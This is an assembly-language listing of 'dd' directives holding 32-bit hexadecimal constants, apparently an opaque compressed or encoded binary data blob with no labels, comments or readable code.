		dd 506123Dh, 0A1002157h, 2450080Ah, 7CA959A7h, 7AFF008Bh
		dd 0C6092A88h, 100515Eh, 18DC9778h, 7A23CECh, 567C77F9h
		dd 7D802FB3h, 38D06D93h, 0C8FC160Fh, 0EE704151h, 58FC2CF2h
		dd 537E0026h, 0E852F0E7h, 37005F6Eh, 72683078h,	670392h
		dd 0F8CFE657h, 28E55D27h, 0AEDC9300h, 766918D7h, 35580109h
		dd 0CA2A85F1h, 7AD44025h, 2D1F1740h, 0D053F636h, 3E774800h
		dd 395D8Bh, 0EBF48D03h,	0D77EE018h, 0BBDB100h, 5E3C7DFFh
		dd 838000CAh, 4B33E892h, 2100BCE0h, 4301F889h, 4C68E1h
		dd 0B68D9598h, 22BDD8B8h, 66C32400h, 1BF62A0Dh,	825800AAh
		dd 75F8451Ah, 5200E676h, 59C7545Fh, 3CEF03FCh, 518009BFh
		dd 4B3CC5EEh, 0D20FDC2Eh, 165D9567h, 275E07BBh,	0B05777A4h
		dd 0BE2297ECh, 20F4380Bh, 0EAD58095h, 50630941h, 0D58174h
		dd 44DBF26Bh, 726C87CFh, 752E6702h, 0C3A85051h,	0CDCF041h
		dd 80E80483h, 80CE7DF8h, 2D78A799h, 7418CEh, 77754857h
		dd 5C7DF066h, 2A00EC10h, 50976A0Dh, 87008E08h, 6563EB88h
		dd 12F52681h, 7200Ah, 537598FFh, 0BB0EE837h, 20291193h
		dd 18683AE0h, 0B2BF00F2h, 50179CC7h, 733F3023h,	75059E42h
		dd 611E1366h, 4B0BEBC0h, 0BE4825h, 102F514Dh, 4981F8E5h
		dd 6F636E02h, 0C0FDC672h, 0BE20BEh, 0D21EA70h, 80E7B70Ah
		dd 32378809h, 7FF40064h, 748FBD76h, 1E51009Bh, 42D6FC25h
		dd 26F69343h, 79034701h, 7731A449h, 7440F0h, 58506E02h
		dd 0BFB41C5Bh, 4DC7E300h, 0BC249C6Fh, 62F50769h, 0FC10D7EDh
		dd 5F0082C4h, 0B0051240h, 3C0CC199h, 27F0446h, 533BE888h
		dd 4075D6E2h, 50F8E5h, 0E39907C7h, 15E6D8A8h, 1C90CEECh
		dd 3FA01426h, 9F35F00h,	0F52C0A9h, 0C8CF1CFCh, 2AD47121h
		dd 7E55D88Dh, 3012AF0Fh, 3EF1A7A9h, 0D4211EF0h,	2D4C0098h
		dd 2E0C020Dh, 481F9931h, 0B14F0F30h, 29600338h,	0E22AF00Eh
		dd 0B65F0088h, 441A22C5h, 413E4801h, 79750FF3h,	0FAE427F0h
		dd 2922670h, 7E803B14h,	63EA4000h, 115F9557h, 1F4DD3Fh
		dd 8A24C0CEh, 0A1D01756h, 0A87804h, 0BA03E882h,	441CF199h
		dd 84EB1B02h, 4022FB1Dh, 9054CAAh, 462E087Ah, 0EB859380h
		dd 15018B27h, 0E42D3F37h, 0BE70C4F9h, 6A67073Bh, 809A7E29h
		dd 0B192BD7h, 13541200h, 97FAD027h, 0E4B400DDh,	0A46C79B5h
		dd 0AE1CB396h, 8940BA04h, 0C39AFCACh, 0FE07008Ah, 288192Ch
		dd 25000D47h, 0A44ADC29h, 9084BEA0h, 8B3A00F4h,	0C6810A34h
		dd 0BC00F4A2h, 0C5122CB2h, 3BC2A97Dh, 1180DB76h, 82DCA5BBh
		dd 0E83BC7D0h, 0B65D80F7h, 0F3ACFE1h, 0F88300EAh, 0FE04764Ch
		dd 0C500ECC7h, 67A55995h, 185158Dh, 37D414BAh, 0D8A3EBC4h
		dd 6A718C23h, 3400D67Bh, 0CF0A781Bh, 0E37BE8h, 638FA84Eh
		dd 2BEB3546h, 94D52928h, 0A43FE207h, 74906EBCh,	284719h
		dd 2AD7459Bh, 0D2ABE4C5h, 7F0FCD06h, 3294D1h, 0B0890AE5h
		dd 0DCA7BC9Eh, 19356603h, 0A9620DAAh, 0B3EC2A0Fh, 0A4050076h
		dd 0A88925E9h, 31F23EEh, 0A2C07A0Ch, 0C51E8428h, 0EC0507FBh
		dd 0E0225107h, 0C7158A80h, 9278A67Dh, 1400DBFEh, 0E7F57510h
		dd 0FAAB6F4h, 427C6C38h, 0BF3EA620h, 9100807Bh,	0D6572D07h
		dd 36F0420h, 0ADEB7377h, 39C9C2BCh, 347BE435h, 0F119B701h
		dd 3E52534Fh, 20D064FDh, 5F380CC9h, 0F2206CDBh,	960045FEh
		dd 0A54D7D1Ch, 4E0F3Ch,	2E33E154h, 560A7525h, 34211407h
		dd 324405E4h, 6002A181h, 0C0E8B13Ah, 0D34CA025h, 9E3E0FEEh
		dd 5FF00114h, 0E0F7C34Eh, 0B51EF6h, 0CABEF44Ah,	0B74F2223h
		dd 7617E976h, 0B90FCD34h, 5ED122D7h, 93C37FB3h,	477126F0h
		dd 5609D8EFh, 0F1B13300h, 0E468F8ECh, 27A03FD5h, 1A57E800h
		dd 60F4198Bh, 75340409h, 0BEE80713h, 587016F7h,	7F65F28h
		dd 0F8B24AF0h, 0DBDC67CBh, 1C14AB20h, 0E3B85C5Ah, 5BBC200h
		dd 7F84A901h, 8DFE018Ah, 51C55365h, 0A2BFD813h,	0D82BCE00h
		dd 14D5A715h, 0FB87Ch, 0F927889Fh, 6CF7C978h, 0ACDA48h
		dd 1310BA34h, 0E101E7h,	0F22F4275h, 0A3F05E43h,	9D840400h
		dd 5F7A94D6h, 0D1E71376h, 93A003Fh, 4ECF0A0h, 0C93B03E4h
		dd 0D97D80ACh, 0CA755249h, 7E5F0060h, 0A310DE50h, 0B50041F8h
		dd 0BC8213AAh, 39D9555h, 880C60BDh, 2C00C2E1h, 51117D53h
		dd 65B3A82h, 61EC154Ah,	0B800BC21h, 0E164F357h,	0C0AAF00Bh
		dd 7D498D50h, 0DD3F2C89h, 8FA43ECCh, 60F9CB26h,	94A0A170h
		dd 0A74E0024h, 0B08B0C74h, 0AB00E967h, 0A1EC41E5h, 0B165508h
		dd 5AF4B203h, 3F00B77Ch, 6774355Bh, 8D1800A4h, 0F0A14BC1h
		dd 7900C47Bh, 5002F6EFh, 169BAEEh, 23DC9BE4h, 70B30761h
		dd 7E3B25E5h, 810B8075h, 0A627C83Dh, 0F806505Ah, 19B300E6h
		dd 787AEB05h, 7F711EF8h, 0B785BA0Bh, 588A0144h,	54C803A3h
		dd 5055001Fh, 7E4794A1h, 5D006B82h, 2799860Ah, 281406h
		dd 52923CEBh, 912E9BA8h, 9D0D5D01h, 77DB20Ah, 1CB326FCh
		dd 0BC224706h, 871E871Ch, 201AC708h, 2C16C509h,	1BA3B800h
		dd 3874065Bh, 0AB300A1h, 0BAF826Bh, 89002345h, 65DFF9D2h
		dd 179FCh, 0C964212h, 63FE414Eh, 8060043Eh, 79D39C5Ah
		dd 0E8FB6208h, 1C441E85h, 40611FBFh, 83C455A5h,	0FE612AAh
		dd 0D53D8000h, 3238C8BBh, 0A7E80918h, 0A7809EEEh, 287C0614h
		dd 4922F00h, 0BFE61FC1h, 0E84E4C8h, 7D279750h, 44E0FA2Fh
		dd 0E8203D90h, 2EEEA00h, 762107ABh, 47950064h, 6A74A031h
		dd 4500018Ah, 75033CFAh, 256628h, 4EAE3B46h, 0A19808Fh
		dd 950004FEh, 4DF60F48h, 0E08363h, 0F8083A02h, 52061D69h
		dd 0F3963F2Ch, 0B43C6400h, 5A9337h, 68A02133h, 1AF22A91h
		dd 7D2A548h, 251C4F1Dh,	843D7AF0h, 21293A27h, 0DB0305BBh
		dd 0DE325BE9h, 0B950FCB8h, 0F1467800h, 2A0B8CBAh, 0AF020EB8h
		dd 1560E82Ch, 1EC4B4BFh, 2FF5CC00h, 0D8B9604Ch,	0EB013F6Ah
		dd 0D4BA2C8Eh, 1DEEE58Ah, 31E1C117h, 0FC4F022Dh, 7F00957Eh
		dd 6910E21Eh, 0E941FBh,	0B409C6Ah, 6F720284h, 63756402h
		dd 5F5C5D74h, 2F29DB8Fh, 0BCB7C080h, 6D7D0580h,	0A0754300h
		dd 0DDF56E79h, 8B1006Fh, 0EF536C4Ah, 9B005CD2h,	3531C50Bh
		dd 6D704Fh, 14732552h, 49571CB4h, 54094E79h, 8E06D88Eh
		dd 0A156EEDEh, 0EC8F26D2h, 3F414CE8h, 0D3804D4Eh, 60CBEA28h
		dd 0AE0EA84Ah, 21FC53DFh, 0FD88C40Ah, 0CA0DA440h, 77040009h
		dd 0B76807Fh, 5F24870Fh, 2400E83Fh, 99FC2B85h, 45631D3Ch
		dd 7311405Bh, 0A3128B09h, 48BB2412h, 0A706550Fh, 4ED03949h
		dd 1E19015h, 0B4447C0Dh, 0DC789A45h, 0C00E455h,	0ED65E90Ah
		dd 0F901801h, 8784FC80h
		dd 213F88A0h, 5300798Ch, 34917B25h, 0BDE790h, 52C6FA29h
		dd 3BF31251h, 0D826EE00h, 9DE4980Eh, 0A379FFh, 672064EBh
		dd 0A29442F0h, 140037E8h, 98237E31h, 1CEBC2h, 7D9C1584h
		dd 0EACFC43Fh, 8FA56C00h, 66E6FD4Fh, 787107B7h,	0C07B5DE7h
		dd 0EAEFE584h, 38004E75h, 80C97706h, 1269AB31h,	99FE1Bh
		dd 91D511FCh, 2200E309h, 0DFF44F1h, 0C831D8h, 0FD22CBAh
		dd 0F95B4F88h, 401D9100h, 463650B2h, 80C80068h,	531A98D9h
		dd 990E799Bh, 40C26FB4h, 0A2626B72h, 27CF01F9h,	9F987494h
		dd 676F034h, 0F8E2AA00h, 0F1644187h, 636E1361h,	340F0B7Fh
		dd 28F74980h, 6D006F1Fh, 64452082h, 3DA969h, 0A698C555h
		dd 656687D3h, 2D1C7300h, 186C5661h, 6E110022h, 8E5ACE44h
		dd 6400EADFh, 0B8EF4AB2h, 0C9A5AEh, 0FB6AB9A7h,	0EC72CAD4h
		dd 752E6400h, 32511D09h, 7BE5F002h, 3976F8CDh, 4004BB39h
		dd 83B70F45h, 30EFF886h, 80B91821h, 94BAA700h, 881D72EBh
		dd 93A4072Fh, 90688D1Ch, 48379295h, 61001A7Ah, 0D6840FD4h
		dd 38894CBCh, 13007AB9h, 0EBF9F799h, 11009DCBh,	4569FF71h
		dd 0F66A5B77h, 44080396h, 532F430Ah, 4A6EF9A8h,	2A111407h
		dd 59A05C0Eh, 455442h, 0EB09ED4Dh, 0D99E266Ch, 0D7273Ah
		dd 471A7010h, 244A42h, 3EB0FE9Fh, 161B4B7Eh, 75EDE800h
		dd 0DA9FD93h, 30BA3EC6h, 3BFF00F7h, 2DE5E4B8h, 0A17242B3h
		dd 0C9DE5D00h, 0A8CEBF7Ch, 50530021h, 6B447FA7h, 0BC00C2DCh
		dd 173E80Dh, 0F4E530h, 5AB9FBECh, 0C6942125h, 1E894300h
		dd 7A053B80h, 13FF0026h, 10C10854h, 0AC76DE39h,	0E8F07B07h
		dd 9140F72Ah, 4B26D9h, 403DC180h, 0C0940F05h, 4388130Bh
		dd 66618001h, 0B8E25Fh,	0A749AE97h, 0A402FE33h,	0FD5A5107h
		dd 0A0E00582h, 3BCC48h,	387D3E30h, 0AA4AC293h, 0DC4CE100h
		dd 12A38D0Ch, 2BDE00F0h, 2FF8F6D9h, 0AF05E781h,	0BD3C8594h
		dd 0FE80D31Fh, 507DDF3Bh, 8AD0030Ah, 0F98BC218h, 0BE10EBA0h
		dd 0E44EB000h, 43E84209h, 0FA80001Dh, 0B3BB75CCh, 0C7002803h
		dd 0F2D6E5Ah, 34C5B31h,	70EC981Ah, 5EF07304h, 5300F8C0h
		dd 4407C4CAh, 1EBC62B8h, 80D95212h, 1005DC46h, 0B0008CD8h
		dd 1FA4D030h, 67D443h, 0F650B427h, 834EE7E8h, 0A8142500h
		dd 0D7E2B7EBh, 0C531DD8h, 0C01B00F7h, 129C8408h, 20276E8h
		dd 0F2AEE904h, 0B05340FFh, 22640F7Fh, 5DE0D873h, 0E88505B6h
		dd 0CD4FCF00h, 0B24BD67h, 0F6370212h, 0A8139157h, 616F6DC0h
		dd 81AC1802h, 4048CE7Dh, 1574E1h, 170F6A0Bh, 0E591F722h
		dd 8C30082Eh, 0C014EB00h, 10E88Ah, 7F5E0FDAh, 92F3EEFEh
		dd 6AD45F05h, 9C01B8Bh,	72F2EF5Ah, 78400036h, 0E1637232h
		dd 37006817h, 95B06DDFh, 52DF434h, 0E2DA3D04h, 8159C05Dh
		dd 3AEA13BCh, 0A800447Ch, 72269E09h, 5908DFh, 7FC7AB37h
		dd 0CA460D1Bh, 81965000h, 0E299169Bh, 0CFB80722h, 702B7C32h
		dd 0C8940C1Bh, 0FCCC8100h, 7601E85Dh, 69F2004Fh, 3286A0C3h
		dd 0E1035179h, 1E1844E2h, 339A00A4h, 1228E056h,	413B0E98h
		dd 35D8809Ch, 0BA03E431h, 60F900DEh, 76BC178Bh,	5D000184h
		dd 97C8FEB4h, 364D4h, 481B138Ah, 0BEF996E6h, 400393B0h
		dd 83DC2CD5h, 0F3039875h, 0FD591F97h, 0B0D787h,	1CA58C9Dh
		dd 150073C8h, 8D3FE814h, 5B0304h, 3399C62Bh, 0F52AAFC2h
		dd 8F323100h, 66961497h, 4046002Ch, 0D8648188h,	8A746B7Ch
		dd 0A564B00h, 73AC5F84h, 0A0D41EDEh, 21B88083h,	0E986EAB4h
		dd 61BC2C00h, 0DC798764h, 3ED018Ch, 0DE80F0C0h,	0D02BD462h
		dd 0DBFA832Eh, 0DBFFFC00h, 0EDD4424h, 0BDE63054h, 6A898D60h
		dd 8010B18h, 904580Ah, 0DBC5033Fh, 0CD401CF9h, 0C32B8Fh
		dd 292C7197h, 1A4054FFh, 0FBB803B0h, 94B0C00h, 8296D7D0h
		dd 0F0870027h, 0DB049B7Dh, 0AE00CDB0h, 4120EA71h, 54CB6Eh
		dd 92F6684Eh, 86420823h, 0A0058B00h, 6443F019h,	0A412022Ch
		dd 91663031h, 0CB77A640h, 0F341600h, 800162D5h,	5FF007Bh
		dd 0B05F6E7Fh, 0BA0068C9h, 0D5C1EA4Ah, 38D656Dh, 0C0BEF02Fh
		dd 580F9E6h, 0FF3E5177h, 4508024h, 9685CCCh, 7889096Fh
		dd 815F8112h, 56B093ABh, 0B5FC4BE9h, 0CEE40558h, 0C010807Ah
		dd 81322B0h, 8E900127h,	3C3A9F5Fh, 7D073C04h, 0CF582D00h
		dd 24E89F6Ch, 8536040Fh, 0C090F2CCh, 22C0716h, 341D7424h
		dd 0EE4FC101h, 306083A8h, 40FCFAh, 3FC22E09h, 0DDF845E9h
		dd 4C05AD7Dh, 639E9047h, 4EB7A4C0h, 360C0037h, 6E91F3E1h
		dd 71000805h, 2D441922h, 7A558941h, 69180015h, 8D027D91h
		dd 0BE00367Bh, 0B9EBA2ACh, 0C3E60Ch, 9A6FE935h,	5EDC1448h
		dd 8509FE00h, 212F3CC4h, 9C79006Ch, 50CCCA0Bh, 0FC0F915Dh
		dd 40ED72F5h, 65180207h, 0C94638CEh, 53081CF8h,	1211C0FEh
		dd 99268806h, 0D9098E1Eh, 6407284Ch, 0C879A1h, 2959A8B5h
		dd 516D0A2Ch, 5B5C3Fh, 7938B24h, 0F2BE883h, 5E2D1242h
		dd 3B86A480h, 9D00A9C8h, 3CEB2AC5h, 28C2C0Ah, 0BC525640h
		dd 0D683ED14h, 9DB93CEh, 0F8BD16F8h, 285853F0h,	97007B4Eh
		dd 0C5A74A4Bh, 72209h, 0EC4F9116h, 0B814D40Bh, 3F471C3Bh
		dd 7C6D8792h, 0E137483h, 441EC022h, 2B3E002Eh, 538C50EBh
		dd 65007A56h, 0F53C5EE9h, 7633D6F1h, 0DB890014h, 6BB8AC2Ch
		dd 64074D54h, 0B012BAB1h, 3FBF4Ah, 956265A3h, 0CF83CD7Fh
		dd 174F07C6h, 24C00680h, 0AF1D33EBh, 5D408AC9h,	0B640811h
		dd 4C7571h, 3B958794h, 582AE222h, 81A6D100h, 0CCC80746h
		dd 0AF00071h, 9968284Bh, 0BC7860B0h, 0F72DD400h, 5B5DC456h
		dd 30B0149h, 2A5CD36Ch,	3420D80Ch, 44363803h, 0B0B0B558h
		dd 0AF8B63h, 0A901157Eh, 8753305Ch, 0BA29D300h,	0A55E2E32h
		dd 0DEF0FB60h, 0FCD8FD52h, 72EE57h, 422D6269h, 6B630261h
		dd 6E452000h, 0AB57F168h, 0B1D200A4h, 604B341Ch, 0D83C50B2h
		dd 7569005Dh, 7C01296Dh, 0A2300EA6h, 0E7809D5Eh, 0BB101E49h
		dd 0BE432800h, 564E58B7h, 0AD90076Eh, 90BDC0B9h, 753070EAh
		dd 7431A90Eh, 9040DDA5h, 0B4539D76h, 0B502493h,	0F5720F3Fh
		dd 25758C80h, 48012952h, 5FD834CAh, 1C8CDA9h, 39B517D6h
		dd 0DEA700ACh, 335848F4h, 5B90D27Bh, 0CBC2700h,	0CC7CE516h
		dd 12460389h, 0C909A9D0h, 13EAD4D0h, 0BD1FDC01h, 4E9AB8CFh
		dd 8D71C4h, 625E2511h, 417370B9h, 262E0A7Bh, 0EB005081h
		dd 607E8D51h, 43D800F3h, 8A69800Ch, 2C260846h, 6001319h
		dd 5CF51309h, 0F41E0147h, 0A14B380Dh, 210FD011h, 68103A00h
		dd 0B4EE29F2h, 32C3005Dh, 730DA0B1h, 463CCBB3h,	2FBEBEh
		dd 0ADA2950Ch, 3500454h, 31B07943h, 0A590784Ch,	20070C05h
		dd 6132874Dh, 0C0584712h, 253E9BFh, 869D3630h, 0B1871BCDh
		dd 3EB6E0FBh, 5A2850EAh, 0D400954Dh, 900522FEh,	93ACD3h
		dd 15BF80B5h, 0C3FBAE8h, 50890213h, 49ECEA00h, 79BC0Eh
		dd 0D4F0D38Bh, 4001B827h, 80030501h, 44100878h,	987D50E4h
		dd 0BBEA001Bh, 0CAFE090Eh, 0E9091983h, 8024B6D1h, 87A78E3h
		dd 580E3EF4h, 29D7E000h, 15057B0h, 97960F9h, 0BD009998h
		dd 958F2E68h, 7C374339h, 224B0191h, 0C570445Fh,	9281D08Eh
		dd 12A38901h, 8512AB4h,	13F2DF30h, 1D541484h, 0EBC24788h
		dd 0B4119075h, 43FC643Ch, 53C8E400h, 1C101442h,	1E598F5h
		dd 88319087h, 0E5207974h
		dd 0F129EA4h, 6072D440h, 1341C322h, 444D24h, 506DE27Fh
		dd 284803B4h, 6F200050h, 48189E72h, 0ABF40335h,	4B2D7961h
		dd 8BD462B8h, 0D32A301Ch, 311077C0h, 23221FFh, 0F93342FEh
		dd 0DF87F149h, 890459FDh, 0CED78013h, 0EA7D20C1h, 90007DF4h
		dd 550EBA33h, 476B6Eh, 2056776Fh, 57C49571h, 306C5300h
		dd 681C43ACh, 23701F69h, 5C5EFAh, 2142113Ch, 1690409Eh
		dd 0FE8444Ch, 0AF513204h, 9CA6EE48h, 61725401h,	0C760736Eh
		dd 9FED0074h, 751E4319h, 0E4006FDEh, 64277734h,	5442CCh
		dd 95AB224Ah, 580C0B8Ch, 5C43861Eh, 1881609Eh, 85169EA5h
		dd 0FBC6C8h, 0E0C7627h,	6F468C70h, 11722300h, 47758874h
		dd 78E400C7h, 14C80326h, 4500507Ch, 4607A480h, 3C882184h
		dd 0E88CC61Fh, 51EE5203h, 56D5E700h, 2D737691h,	0B6F70004h
		dd 840F123Ch, 5D01C548h, 74017A22h, 0A2EC4118h,	68F93F89h
		dd 7905A43Fh, 0C0553E8Ch, 81944D03h, 6547B2A0h,	0E2756E00h
		dd 0DE12DF1Bh, 3B3D7169h, 4F802049h, 598D5E94h,	71077009h
		dd 6967EB08h, 74F241F0h, 1E1A7B68h, 87242810h, 5156A363h
		dd 0E4EB0308h, 583723A5h, 78F4A475h, 268398C4h,	8E0A0033h
		dd 2A546461h, 20E8224h,	0A09111EBh, 0F8830180h,	0F4A0002Fh
		dd 3AF1CE9h, 11002902h,	0D0FD844Bh, 0BD545Eh, 9B7E9E9Ch
		dd 7838918Ch, 0B0AC3A07h, 4609522h, 0E85D88h, 19FBC477h
		dd 41C124ADh, 878BF400h, 890D3622h, 3E2500C8h, 11581047h
		dd 0F05C8E73h, 841B3C96h, 0E083C174h, 53238A80h, 66E50057h
		dd 0AEB139CAh, 1A07C8E9h, 6CED6A2Ch, 938A1F50h,	8CC007Fh
		dd 48B6A812h, 0E017A967h, 26045101h, 0F08002B8h, 0F1417FEh
		dd 1906BD80h, 66C175E3h, 88A0FAD3h, 8500DD84h, 0E8D8A51h
		dd 0D42A19h, 0CB750916h, 0A430D959h, 58126730h,	2EE9E46Dh
		dd 141056Bh, 42DBCA7Eh,	0B136080h, 0FBA5DA00h, 0F9A67008h
		dd 0C1EE3FA1h, 13F0D580h, 0F4E57C8Dh, 21B88F00h, 294C528Ch
		dd 96A701A2h, 984A455Bh, 5D06D0A9h, 85A1A60Eh, 0B8AE00AAh
		dd 1FA503h, 0B2C82B91h,	0BA20B610h, 4FCBEE8h, 390CF203h
		dd 0BBC602C2h, 0E0CEA3CAh, 1D691E05h, 401418EDh, 48664CCCh
		dd 0C10019F6h, 0F40F10EBh, 3AD7A32Bh, 0B700EE56h, 0D6113A84h
		dd 8EB8E18Ch, 81211E3Eh, 607C2B5Ch, 45D058EAh, 62E63CADh
		dd 0E2B52A87h, 0DE0FE08Ah, 100F555Ah, 1D5EECABh, 5B595FC1h
		dd 19D0584Bh, 551700BBh, 0E851308Ch, 0B5002987h, 0B4BA4EB8h
		dd 0E6BFEDB0h, 8D100048h, 94BE74B1h, 0FC00F3E3h, 628E93Dh
		dd 0E20CAA6h, 4254355Ch, 58CC2180h, 853AFBCBh, 0BEB8BB90h
		dd 4BACC84h, 0FDA3E20Dh, 295E8780h, 41544C1Ah, 0FC080073h
		dd 109C6E85h, 4005B02h,	46170C4Eh, 7C129845h, 2D7F43h
		dd 0A8145787h, 0BEA0634Fh, 0B71858h, 4CA27D8Dh,	1D8B3E3Bh
		dd 80B528FBh, 0CD9525FEh, 6A07BDC3h, 754B7AB9h,	0AD2CE990h
		dd 5D65000Bh, 45A83473h, 0D89787B1h, 1BF6B2h, 122D182Bh
		dd 0E437EA94h, 83A7323Ch, 924B782Eh, 5C6ECB73h,	89004B12h
		dd 2E24D54h, 0CE003859h, 0A2E40C15h, 83F8D0h, 51A4C425h
		dd 18B14150h, 8D1C4200h, 0C93581B5h, 6F2400BAh,	9F1F7E76h
		dd 1EF628DEh, 1696A800h, 0C6B56CA3h, 0F472E1h, 0DC085370h
		dd 752B74C2h, 18014E00h, 1F4C0594h, 0C6BC0068h,	6337E895h
		dd 0C80009B7h, 5E60B84h, 2C123D80h, 2C50C18h, 0A6BFA422h
		dd 0D0E59FF0h, 6F13F6C0h, 561FB489h, 0C27FA740h, 309ABF2h
		dd 9C4FC8F3h, 4CB09221h, 0A53D9B8Ch, 2E00FE25h,	40223791h
		dd 9524944h, 72126289h,	8B485E83h, 0F48094FAh, 3805C676h
		dd 1E73C03h, 0B0126DB2h, 74026419h, 75B1D40h, 852C788h
		dd 4049B748h, 540E4C50h, 3910A900h, 9058210Bh, 5CB21729h
		dd 60B40719h, 0AE25FA4h, 0E1602264h, 26246821h,	1800391Bh
		dd 9956F5BCh, 6B040010h, 0BE807265h, 3203336Ch,	0F6642E3Ah
		dd 608BAAE1h, 0F195750h, 0B6C45842h, 9CB8E820h,	0D3399544h
		dd 0A988134h, 905994C8h, 648C8C81h, 20842C88h, 0B2008071h
		dd 7842167Ch, 0B1AE94h,	0EB04195Eh, 97C4203Ch, 11E0C500h
		dd 784A1609h, 0BED907AAh, 8A029Ch, 9D8EE83Ch, 2EC3C238h
		dd 0EE26838Dh, 5C08303h, 8A40F897h, 81E90010h, 80CA8B2Eh
		dd 0CC7990C1h, 7B7DAB03h, 880FFAF0h, 40675h, 72262CCFh
		dd 0C336C203h, 3A90B000h, 0CCFD20FCh, 0CE92000Fh, 0B1768B1Ah
		dd 0A11C7E4Fh, 8A4E80A8h, 0E8F98008h, 171B3Dh, 948E488Fh
		dd 51028946h, 1175970Eh, 0B96EA7E4h, 241C8611h,	0AF701FFDh
		dd 0CD9132Eh, 7A5F0010h, 157D26B4h, 1B32950Fh, 391820BBh
		dd 19D92Bh, 0EB6A40C3h,	313A3FEh, 867CC107h, 12A03084h
		dd 93E966h, 6052915h, 19F4A753h, 0B0D4AF00h, 0C3785F52h
		dd 0BC2097Ah, 7407E8D1h, 0ECC60580h, 5D740084h,	28DD719Dh
		dd 0FCB927FFh, 24003478h, 2C3EACA0h, 7C7202h, 0CFA6A09h
		dd 0F17F52C0h, 0D82EA5FCh, 0A3001C9Bh, 0ED2BED0h, 0E7DF385Ah
		dd 1AB98400h, 91CC2C42h, 12ACBC4Fh, 628AC403h, 0A4F011DEh
		dd 440148EAh, 1B1861CCh, 0B5E86742h, 22203A1Dh,	0F93C7B00h
		dd 0C518B88h, 97F35400h, 0B689772Dh, 0D6980129h, 2FD94D15h
		dd 4F80CBEBh, 0C7EEB2ACh, 0BF925700h, 0BEAAD1D5h, 66D70099h
		dd 242BD61Bh, 0C600EEBCh, 0BF163D87h, 5AE020Bh,	0FD5AE76Fh
		dd 29458394h, 0C5623D0h, 4E79570Ch, 1CBE3Fh, 7F256717h
		dd 0F7AD7AB5h, 0DE683203h, 0C0574B35h, 0FC200FC8h, 505B0014h
		dd 993A11CDh, 59F66F88h, 850C5800h, 6476DB12h, 69694C21h
		dd 0C25F0A00h, 9D91231Dh, 8040F03Eh, 0A9561070h, 490C36h
		dd 22444A3Dh, 0D29ABD47h, 49975C2Eh, 8420Bh, 16EB13EDh
		dd 376500AAh, 0B2FB7952h, 0D9E896E9h, 94E2AEA0h, 13EF1E16h
		dd 5A228900h, 425771Ah,	54552A9h, 81D08068h, 3A0710B4h
		dd 4AEBE68Ch, 0A526BBC0h, 277F06h, 12B0505Ah, 0FE726156h
		dd 226FE100h, 65BC7C7Bh, 139D004Fh, 9028FA74h, 0F23D4E8Bh
		dd 51391DBBh, 150C5B00h, 31FE8FCh, 35F1B74h, 28F03379h
		dd 1300F366h, 0F191F7C2h, 0F86BCEh, 619384B5h, 885A248Dh
		dd 1D1CC400h, 9970526Eh, 9E300D2h, 689508Ah, 143CE70Ch
		dd 0D69A80C9h, 7124EA2Ch, 0EEA9008h, 0F0102F85h, 908CFE27h
		dd 0F49D89DBh, 0A2767102h, 8046FD11h, 260894BBh, 0B05A001Eh
		dd 0A87B80E0h, 680065ADh, 8D313C62h, 0FE2CAC95h, 1F2398ABh
		dd 0CF0D83B5h, 57E02D58h, 1934FF5Eh, 956260E7h,	2210A300h
		dd 8099F82Ch, 6CF500A5h, 9013A426h, 430157D1h, 34967FECh
		dd 0DD8D693h, 1E66008Bh, 6D2D505Dh, 0B50F8485h,	0A0589B79h
		dd 51889C6Ch, 5C120010h, 69D3E0F7h, 6700486Eh, 9D27B6ABh
		dd 0D8365Dh, 89A41891h,	0A2A97C1Ah, 905609Fh, 76E629h
		dd 6F435094h, 989C6D71h, 80731C3Eh, 2EA8C42Ch, 38130B23h
		dd 79870970h, 0E37BAA7Dh, 88E0D451h, 9102A90Fh,	738A441Ch
		dd 70F78063h, 60BB3734h, 28664EB2h, 8B00851Fh, 5F843E83h
		dd 3D638C18h, 0D4003212h, 2B2F3F29h, 0B60F23C4h, 0DC4C10D3h
		dd 8EC4B00h, 19A0BB2h, 0A93A5754h, 0DC218096h, 0C07591Fh
		dd 7288626Ah, 0ADD08AE1h, 1FD1DCE0h, 304A84h, 654C860Eh
		dd 0A1585A67h, 0BF3C00F6h, 74682979h, 0B4640030h, 4B0F212Eh
		dd 87F01827h, 0C58E6D00h
		dd 3028736Bh, 0C48500E4h, 0B14F4D10h, 9078AACAh, 94F44E01h
		dd 11148EB4h, 0AC4760h,	0E448D1Bh, 2BC42DBFh, 4883CA4Ch
		dd 206C0F50h, 30D4418Eh, 98FC78D2h, 44F448h, 16BB3BEDh
		dd 1432B8B5h, 0B4754207h, 0D9E06424h, 7E304EC8h, 25D7079Ah
		dd 832D6569h, 1388E042h, 0D800ABC5h, 0C6450414h, 1A32C3h
		dd 240C1903h, 6434610h,	14441B09h, 13958118h, 20E41C99h
		dd 1AE400C2h, 8419DEB7h, 210038B8h, 9C9A8DFDh, 0B03BF0D7h
		dd 25C101EFh, 3592E64h,	69B6803Dh, 9FD03821h, 84F41EC7h
		dd 7C420F70h, 68308620h, 0E8000FD8h, 2671185h, 0E004BDh
		dd 247C8B60h, 3119FCE2h, 3A50C03Fh, 0AAA80E68h,	7F77C075h
		dd 3FFF3Dh, 0E6DEA00Eh,	0D5C910DBh, 0AA04FDE8h,	6DEBFEC5h
		dd 0C33CC4C0h, 0E60A582Ah, 0B254F600h, 1855EA6Ch, 41FFF500h
		dd 0A0DEDD34h, 51110083h, 5C199533h, 880BBF1Fh,	17F7C3Bh
		dd 60CF964Fh, 3FD6DE40h, 0A8FC0072h, 0D5763888h, 0C50002DFh
		dd 0C38D559Bh, 1D953F5h, 50BD366Ch, 0C4357F7Bh,	0AD50D6F9h
		dd 600005ACh, 5347CA0Ch, 0F6DFFE8Dh, 0DCC60F7Bh, 7E0956Ah
		dd 0ABA94FFDh, 0FEEAF007h, 2930D4A7h, 0BF755Ch,	0A412CC7Fh
		dd 0FA184A64h, 82929F1Fh, 0BD2FE9C0h, 0E7EE8CBh, 0B7A0DB31h
		dd 80955DC0h, 0E200ABF1h, 0C33F61F6h, 751F09h, 5A5E4007h
		dd 20B35556h, 0D14B1200h, 4EAB0CEAh, 0C7735833h, 30A0700h
		dd 421140B4h, 311F9990h, 4307484Dh, 25902986h, 3DB08826h
		dd 500CF20h, 2CB5B866h,	7C00080Ch, 3B43F10h, 2B4BD6h, 0B00D0A60h
		dd 20E32E18h, 53800607h, 83EF1301h, 0D808101Ah,	7E43A641h
		dd 3ED00038h, 9024FE48h, 0C2767950h, 811121Ch, 8E0E74C0h
		dd 0E28824Ch, 0C780D231h, 0C0F7E245h, 0B4101E4h, 0F6861400h
